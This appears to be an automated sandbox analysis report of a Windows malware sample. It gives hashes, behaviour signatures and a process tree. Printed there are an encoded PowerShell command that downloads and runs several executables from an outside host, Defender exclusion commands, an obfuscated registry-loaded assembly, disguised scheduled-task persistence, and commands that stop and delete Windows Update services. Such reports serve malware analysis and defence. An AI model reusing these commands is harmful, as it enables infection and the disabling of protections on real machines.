Analysis
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max time kernel
151s -
max time network
48s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
28/01/2023, 19:25
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20221111-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1884 created 1244 1884 SmartDefRun.exe 14 PID 1884 created 1244 1884 SmartDefRun.exe 14 PID 1884 created 1244 1884 SmartDefRun.exe 14 PID 1884 created 1244 1884 SmartDefRun.exe 14 PID 876 created 416 876 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 852 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 5 IoCs
pid Process 1620 C4Loader.exe 1732 new2.exe 1652 SysApp.exe 1884 SmartDefRun.exe 1628 fodhelper.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 6 IoCs
pid Process 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1664 set thread context of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1884 set thread context of 1928 1884 SmartDefRun.exe 55 PID 876 set thread context of 1616 876 powershell.EXE 61 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 536 sc.exe 856 sc.exe 1512 sc.exe 1940 sc.exe 1612 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1208 1664 WerFault.exe 27 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1680 schtasks.exe 1900 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0080dd75633d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 852 powershell.exe 1652 SysApp.exe 1652 SysApp.exe 1652 SysApp.exe 1652 SysApp.exe 1652 SysApp.exe 1884 SmartDefRun.exe 1884 SmartDefRun.exe 1108 powershell.exe 1884 SmartDefRun.exe 1884 SmartDefRun.exe 1884 SmartDefRun.exe 1884 SmartDefRun.exe 1972 powershell.exe 1884 SmartDefRun.exe 1884 SmartDefRun.exe 1948 powershell.EXE 876 powershell.EXE 876 powershell.EXE 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe 1616 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 852 powershell.exe Token: SeDebugPrivilege 1108 powershell.exe Token: SeDebugPrivilege 1972 powershell.exe Token: SeDebugPrivilege 1948 powershell.EXE Token: SeDebugPrivilege 876 powershell.EXE Token: SeDebugPrivilege 876 powershell.EXE Token: SeDebugPrivilege 1616 dllhost.exe Token: SeShutdownPrivilege 1244 Explorer.EXE Token: SeShutdownPrivilege 1244 Explorer.EXE Token: SeShutdownPrivilege 1244 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1940 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1664 wrote to memory of 1208 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1664 wrote to memory of 1208 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1664 wrote to memory of 1208 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1664 wrote to memory of 1208 1664 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 30 PID 1940 wrote to memory of 852 1940 vbc.exe 31 PID 1940 wrote to memory of 852 1940 vbc.exe 31 PID 1940 wrote to memory of 852 1940 vbc.exe 31 PID 1940 wrote to memory of 852 1940 vbc.exe 31 PID 852 wrote to memory of 1620 852 powershell.exe 33 PID 852 wrote to memory of 1620 852 powershell.exe 33 PID 852 wrote to memory of 1620 852 powershell.exe 33 PID 852 wrote to memory of 1620 852 powershell.exe 33 PID 852 wrote to memory of 1732 852 powershell.exe 34 PID 852 wrote to memory of 1732 852 powershell.exe 34 PID 852 wrote to memory of 1732 852 powershell.exe 34 PID 852 wrote to memory of 1732 852 powershell.exe 34 PID 852 wrote to memory of 1652 852 powershell.exe 36 PID 852 wrote to memory of 1652 852 powershell.exe 36 PID 852 wrote to memory of 1652 852 powershell.exe 36 PID 852 wrote to memory of 1652 852 powershell.exe 36 PID 852 wrote to memory of 1884 852 powershell.exe 37 PID 852 wrote to memory of 1884 852 powershell.exe 37 PID 852 wrote to memory of 1884 852 powershell.exe 37 PID 852 wrote to memory of 1884 852 powershell.exe 37 PID 1920 wrote to memory of 1512 1920 cmd.exe 43 PID 1920 wrote to memory of 1512 1920 cmd.exe 43 PID 1920 wrote to memory of 1512 1920 cmd.exe 43 PID 1920 wrote to memory of 856 1920 cmd.exe 47 PID 1920 wrote to memory of 856 1920 cmd.exe 47 PID 1920 wrote to memory of 856 1920 cmd.exe 47 PID 1920 wrote to memory of 1940 1920 cmd.exe 44 PID 1920 wrote to memory of 1940 1920 cmd.exe 44 PID 1920 wrote to memory of 1940 1920 cmd.exe 44 PID 1920 wrote to memory of 1612 1920 cmd.exe 45 PID 1920 wrote to memory of 1612 1920 cmd.exe 45 PID 1920 wrote to memory of 1612 1920 cmd.exe 45 PID 1920 wrote to memory of 536 1920 cmd.exe 46 PID 1920 wrote to memory of 536 1920 cmd.exe 46 PID 1920 wrote to memory of 536 1920 cmd.exe 46 PID 1920 wrote to memory of 1660 1920 cmd.exe 48 PID 1920 wrote to memory of 1660 1920 cmd.exe 48 PID 1920 wrote to memory of 1660 1920 cmd.exe 48 PID 1920 wrote to memory of 1584 1920 cmd.exe 50 PID 1920 wrote to memory of 1584 1920 cmd.exe 50 PID 1920 wrote to memory of 1584 1920 cmd.exe 50 PID 1920 wrote to memory of 1156 1920 cmd.exe 51 PID 1920 wrote to memory of 1156 1920 cmd.exe 51 PID 1920 wrote to memory of 1156 1920 cmd.exe 51 PID 1920 wrote to memory of 1752 1920 cmd.exe 52 PID 1920 wrote to memory of 1752 1920 cmd.exe 52 PID 1920 wrote to memory of 1752 1920 cmd.exe 52 PID 1920 wrote to memory of 996 1920 cmd.exe 53 PID 1920 wrote to memory of 996 1920 cmd.exe 53 PID 1920 wrote to memory of 996 1920 cmd.exe 53 PID 1972 wrote to memory of 1680 1972 powershell.exe 54 PID 1972 wrote to memory of 1680 1972 powershell.exe 54 PID 1972 wrote to memory of 1680 1972 powershell.exe 54 PID 1884 wrote to memory of 1928 1884 SmartDefRun.exe 55
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:476
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:460
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:812
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:680
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1056
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1080
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:884 -
C:\Windows\system32\taskeng.exetaskeng.exe {6379121B-7152-471F-ADD5-1D12CF3033FF} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1812
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FT'+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'rs'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:876
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C:\Windows\system32\taskeng.exetaskeng.exe {A27BA17A-9CCA-4C47-8139-222B832D8C24} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]3⤵PID:1768
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:584
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:416
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2931d5cf-b588-4962-8db9-0b17ee2caa06}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1992
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1244 -
C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:852 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1620
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
PID:1732
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1652 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1900
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1884
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1664 -s 483⤵
- Program crash
PID:1208
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1680
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1584
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1156
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1752
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:996
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1928
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:484
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C:\Windows\System32\sc.exesc stop UsoSvc1⤵
- Launches sc.exe
PID:1512
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C:\Windows\System32\sc.exesc stop wuauserv1⤵
- Launches sc.exe
PID:1940
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C:\Windows\System32\sc.exesc stop bits1⤵
- Launches sc.exe
PID:1612
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C:\Windows\System32\sc.exesc stop dosvc1⤵
- Launches sc.exe
PID:536
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc1⤵
- Launches sc.exe
PID:856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f1⤵PID:1660
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1124769990-943611786-328461474-371599998-1581898709-2065100433-1971689038-585215155"1⤵PID:2024
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "976386431-698443102-157276700718142851131227635998855034433-1622169678-1049282195"1⤵PID:1372
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1161353732-1747951289-1637846895-923577316396255831309673670965571376-1241612400"1⤵PID:1644
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
